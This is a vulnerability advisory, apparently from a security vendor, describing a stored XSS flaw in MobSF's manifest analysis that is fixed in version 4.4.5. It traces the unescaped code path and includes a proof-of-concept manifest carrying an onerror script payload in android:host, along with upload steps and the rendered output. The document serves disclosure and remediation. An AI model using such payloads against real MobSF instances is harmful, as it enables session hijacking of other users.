CVE-2026-24490

A Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The android:host attribute from <data android:scheme="android_secret_code"> elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.

Details

When MobSF analyzes an Android APK containing a <data> element with android:scheme="android_secret_code", it extracts the android:host attribute and inserts it directly into the analysis report without HTML escaping.

Vulnerable Code Path

1. Data Extraction - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 776):

xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))

2. Template String Formatting - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 806):

'title': a_template['title'] % t_name,  # XSS payload inserted here unescaped

3. Template Definition - mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py (line 200):

'dialer_code_found': {
    'title': 'Dailer Code: %s Found <br>[android:scheme=\"android_secret_code\"]',
    ...
}

4. Unsafe Rendering - mobsf/templates/static_analysis/android_binary_analysis.html (line 1143):

{{item|key:"title" | safe}}

The |safe Django template filter bypasses auto-escaping, allowing the unescaped android:host value to be rendered as raw HTML.

PoC

Step 1: Create Malicious APK

Create an APK with the following AndroidManifest.xml:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.poc.xsstest"
    android:versionCode="1"
    android:versionName="1.0">

    <application android:label="XSS PoC Test">
        <receiver android:name=".SecretCodeReceiver" android:exported="true">
            <intent-filter>
                <action android:name="android.provider.Telephony.SECRET_CODE"/>
                <data android:scheme="android_secret_code"
                      android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/>
            </intent-filter>
        </receiver>
    </application>
</manifest>

Step 2: Build the APK

Use apktool or Android build tools to create a valid APK with this manifest.

Step 3: Upload to MobSF

Upload the malicious APK to MobSF for static analysis.

Step 4: Trigger XSS

View the static analysis report in a browser. The JavaScript payload executes automatically.

Confirmed HTML Output

<td>
Dailer Code: <img src=x onerror=alert(document.domain)> Found <br>[android:scheme="android_secret_code"]
</td>

PoC APK Details

Attack Scenario

1. Attacker crafts a malicious APK with XSS payload in the manifest
2. Attacker submits APK to a shared MobSF instance or private mobsf instance.
3. When any user views the analysis report, the XSS payload executes in their browser

Tested in MobSF Public Instance as well.
https://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/

This is a Stored Cross-site Scripting (XSS) vulnerability affecting all MobSF users who analyze the results of the malicious APK file.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-24490 has a CVSS score of 8.1 (High). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.4.5); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-24490? CVE-2026-24490 is a high-severity cross-site scripting (XSS) vulnerability in mobsf (pip), affecting versions < 4.4.5. It is fixed in 4.4.5. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2026-24490? CVE-2026-24490 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of mobsf are affected by CVE-2026-24490? mobsf (pip) versions < 4.4.5 is affected.
4. Is there a fix for CVE-2026-24490? Yes. CVE-2026-24490 is fixed in 4.4.5. Upgrade to this version or later.
5. Is CVE-2026-24490 exploitable, and should I be worried? Whether CVE-2026-24490 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-24490 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-24490? Upgrade mobsf to 4.4.5 or later.